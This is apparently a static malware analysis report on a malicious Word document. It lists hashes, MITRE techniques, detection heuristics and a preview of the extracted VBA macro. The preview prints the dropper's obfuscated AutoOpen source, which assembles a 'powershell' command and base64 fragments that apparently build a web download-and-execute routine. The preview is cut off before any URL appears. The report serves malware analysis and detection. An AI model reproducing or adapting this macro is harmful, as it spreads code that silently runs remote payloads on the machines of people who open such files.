Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ad0068489b94320…

MALICIOUS

Office (OLE)

201.5 KB Created: 2018-02-12 19:03:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: bfcc0f5548a7242944b234f0a22975e2 SHA-1: e8e9e7462598fe9d0fac7168a0391e319e952e24 SHA-256: 2ad0068489b94320c22323961c585cc7f0a87743874ada59aad0a48b8c817cde
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro utilizes a Shell() call, indicating it's designed to execute external commands. This behavior is consistent with a dropper malware that downloads and executes a second-stage payload. The ClamAV detection name further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6449158-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6449158-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15089 bytes
SHA-256: bba4142564e4b8fdca7575ca774d6bcb50746c2ff0dea64b5f7354a7f5c3db20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
    Dim GibilOutwwove As String
    BorrovianGravitationally = Array("e", "r", "p", "d", "i", "a", "b", "o", "c", "y", "l", " ", "x", "u", "-", "t", "s", "w", "h", "n")
    Dim DenotatumSquidgier As String
    DenotatumSquidgier = "ZgB1AG4AYwB0A"

    Dim ObstructiveFev As String
    ObstructiveFev = "GkAbwBuACAAYQ"
    Dim ExtortsUnmatriculated As String
    ExtortsUnmatriculated = "AoACQAeAApAHsAcg"


    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(2)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(7)
    Dim OligisticForwarders As String
    OligisticForwarders = "BlAHQAdQByAG4AIABbAF"
    Dim MonticulineThrumwort As String
    MonticulineThrumwort = "MAeQBzAHQAZQB"
    DisobliginglyNonapparently = DisobliginglyNonapparently & DenotatumSquidgier & ObstructiveFev & ExtortsUnmatriculated & OligisticForwarders & MonticulineThrumwort
    Dim LaverockAllantoidal As String
    LaverockAllantoidal = "tAC4AVABlAHg"

    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(17)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(0)
    Dim UnballastingCoater As String
    UnballastingCoater = "AdAAuAEU"
    Dim AutocollimatorsMultifocal As String
    AutocollimatorsMultifocal = "AbgBjAG"

    Dim TezkereLitotic As String
    TezkereLitotic = "8AZABpAG4AZwBdA"
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(1)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(16)
    Dim ClavicepsAntimeric As String
    ClavicepsAntimeric = "DoAOgBVAFQA"
    DisobliginglyNonapparently = DisobliginglyNonapparently & LaverockAllantoidal & UnballastingCoater & AutocollimatorsMultifocal & TezkereLitotic & ClavicepsAntimeric
    Dim TherevidaeNonepical As String
    TherevidaeNonepical = "RgA4AC4ARwBlAHQAUw"

    Dim DownspoutSoloecophanes As String
    DownspoutSoloecophanes = "B0AHIAaQBuAGcAK"



    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(18)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(0)
    Dim SeaflowerSubverticilated As String
    SeaflowerSubverticilated = "ABbAFMAeQBzA"

    Dim ArisardCatamarcan As String
    ArisardCatamarcan = "HQAZQBtAC4AQwBvAG"
    Dim StenoUnsiding As String
    StenoUnsiding = "4AdgBlAHIAdABdADoAOg"
    DisobliginglyNonapparently = DisobliginglyNonapparently & TherevidaeNonepical & DownspoutSoloecophanes & SeaflowerSubverticilated & ArisardCatamarcan & StenoUnsiding
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(10)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(10)
    Dim TithalHaukom As String
    TithalHaukom = "BGAHIAbwBtAE"


    Dim RetrenchableSasins As String
    RetrenchableSasins = "IAYQBzAGUANgA0AFMAdA"


    Dim TunfulUndecipherable As String
    TunfulUndecipherable = "ByAGkAbgBnACgAJ"



    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(11)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(14)
    Dim BothsidedNonstimulation As String
    BothsidedNonstimulation = "AB4ACkAKQB9AD"


    Dim ShellyHomodox As String
    ShellyHomodox = "sAaQBlAHgAI"


    DisobliginglyNonapparently = DisobliginglyNonapparently & TithalHaukom & RetrenchableSasins & TunfulUndecipherable & BothsidedNonstimulation & ShellyHomodox
    Dim ForetoldForegathers As String
    ForetoldForegathers = "AAkACgAYQAgACQAK"

    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(17)
    GibilOutwwove = GibilOutwwove + BorrovianGravitationally(4)
    Dim TonguesDemonstrative As String
    TonguesDemonstrative = "AAkACgAJAAoAGkAb"



    Dim ClinallyPromnesia As String
    ClinallyPromnesia = "gB2AG8AawBlAC"


    Dim LasalleWaird As String
    LasalleWaird = "0AdwBlAGI"

... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.